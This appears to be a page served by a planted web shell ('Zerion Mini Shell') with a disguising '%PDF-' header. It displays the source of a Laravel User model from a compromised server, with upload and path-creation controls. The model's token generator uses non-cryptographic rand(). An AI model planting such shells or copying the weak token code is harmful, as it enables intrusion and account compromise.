%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/shaban/duassis/api/app/Models/
Upload File :
Create Path :
Current File : //var/www/html/shaban/duassis/api/app/Models/User.php

<?php

namespace App\Models;

use App\Traits\Addressable;
use Carbon\Carbon;
use Illuminate\Foundation\Auth\User as Authenticatable;
use Illuminate\Notifications\Notifiable;
use Illuminate\Support\Facades\DB;
use Laravel\Passport\HasApiTokens;
use Spatie\MediaLibrary\Exceptions\FileCannotBeAdded;
use Spatie\MediaLibrary\HasMedia\HasMedia;
use Spatie\MediaLibrary\HasMedia\HasMediaTrait;
use Spatie\MediaLibrary\Models\Media;
use Spatie\Permission\Traits\HasRoles;

/**
 * @property integer id
 * @property string email
 * @property string password
 * @property string display_name
 * @property boolean is_confirmed
 * @property boolean is_enabled
 * @property mixed created_at
 * @property mixed updated_at
 * @property Profile profile
 * @property Address address
 * @property mixed roles
 */
class User extends Authenticatable implements HasMedia
{
    use HasApiTokens, Notifiable, HasRoles, HasMediaTrait, Addressable;

    const AVATAR = 'avatars';
    /**
     * The attributes that are mass assignable.
     *
     * @var array
     */
    protected $fillable = [
        'email',
        'password',
        'display_name',
        'is_confirmed',
        'is_enabled',
    ];

    protected $guard_name = 'api';

    /**
     * The attributes that should be hidden for arrays.
     *
     * @var array
     */
    protected $hidden = [
        'password',
        'remember_token',
    ];

    protected $casts = [
        'id'           => 'integer',
        'email'        => 'string',
        'password'     => 'string',
        'display_name' => 'string',
        'is_confirmed' => 'boolean',
        'is_enabled'   => 'boolean',
    ];

    public static function generateRandomToken($length = 10)
    {
        $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
        $charactersLength = strlen($characters);
        $randomString = '';
        for ($i = 0; $i < $length; $i++) {
            $randomString .= $characters[rand(0, $charactersLength - 1)];
        }
        return $randomString;
    }

    /**
     * @param $value
     */
    public function setPasswordAttribute($value)
    {
        $this->attributes['password'] = bcrypt($value);
    }

    /**
     * @param $value
     * @return string
     */
    public function getCreatedAtAttribute($value)
    {
        return Carbon::parse($value)
                     ->toIso8601String();
    }

    /**
     * @param $value
     * @return string
     */
    public function getUpdatedAtAttribute($value)
    {
        return Carbon::parse($value)
                     ->toIso8601String();
    }

    /**
     * @return $this
     */
    public function enable()
    {
        $this->is_enabled = true;
        $this->save();
        return $this;
    }

    /**
     * @return $this
     */
    public function disable()
    {
        $this->is_enabled = false;
        $this->save();
        return $this;
    }

    /**
     * @param $password
     * @return $this
     */
    public function updatePassword($password)
    {
        $this->password = $password;
        $this->save();
        return $this;
    }

    public function getRoleId()
    {
        if ($role = $this->roles()
                         ->first()) {
            return $role->id;
        }

        return null;
    }

    public function canUseAccount()
    {
        return $this->is_enabled;
    }

    public function profile()
    {
        return $this->hasOne(Profile::class);
    }

    public function fields()
    {
        return $this->hasMany(Field::class);
    }

    public function devices()
    {
        return $this->hasMany(Device::class);
    }

    public function provider()
    {
        return $this->hasOne(Provider::class);
    }

    public function categories()
    {
        return $this->belongsToMany(Category::class, 'user_category');
    }

    public function tags()
    {
        return $this->morphToMany(Tag::class, 'model', 'taggables');
    }

    /**
     * @param $url
     * @return $this
     * @throws FileCannotBeAdded
     */
    public function setAvatarFromLink($url)
    {
        $name = md5(time());
        DB::beginTransaction();
        try {
            if ($media = $this->getMedia(self::AVATAR)
                              ->first()) {
                $media->delete();
            }
            $this->addMediaFromUrl($url)
                 ->usingName($name)
                 ->usingFileName("$name.png")
                 ->toMediaCollection(self::AVATAR, self::AVATAR);
            $this->save();
            DB::commit();
            return $this;
        } catch (FileCannotBeAdded $e) {
            DB::rollBack();
            throw $e;
        }
    }

    public function setAvatarBase64($base64data)
    {
        $name = md5(time());
        DB::beginTransaction();
        try {
            if ($media = $this->getMedia(self::AVATAR)
                              ->first()) {
                $media->delete();
            }
            $this->addMediaFromBase64($base64data)
                 ->usingName($name)
                 ->usingFileName("$name.png")
                 ->toMediaCollection(self::AVATAR, self::AVATAR);
            $this->save();
            DB::commit();
            return $this;
        } catch (FileCannotBeAdded $e) {
            DB::rollBack();
            throw $e;
        }
    }

    public function addDevice($uuid)
    {
        /** @var Device $device */
        $device = Device::query()
                        ->where('uuid', $uuid)
                        ->first();
        if (!$device) {
            return $this;
        }
        $device->user()
               ->associate($this);
        $device->save();
        return $this;
    }

    public function getAvatar()
    {
        /** @var Media $media */
        if ($media = $this->getMedia(self::AVATAR)
                          ->first()) {
            return asset($media->getUrl());
        }
        return asset('images/logo.jpg');

    }

    public function isAdmin()
    {
        return $this->hasRole(Role::ADMIN);
    }

    public function isClient()
    {
        return $this->hasRole(Role::CLIENT);
    }

}



Zerion Mini Shell 1.0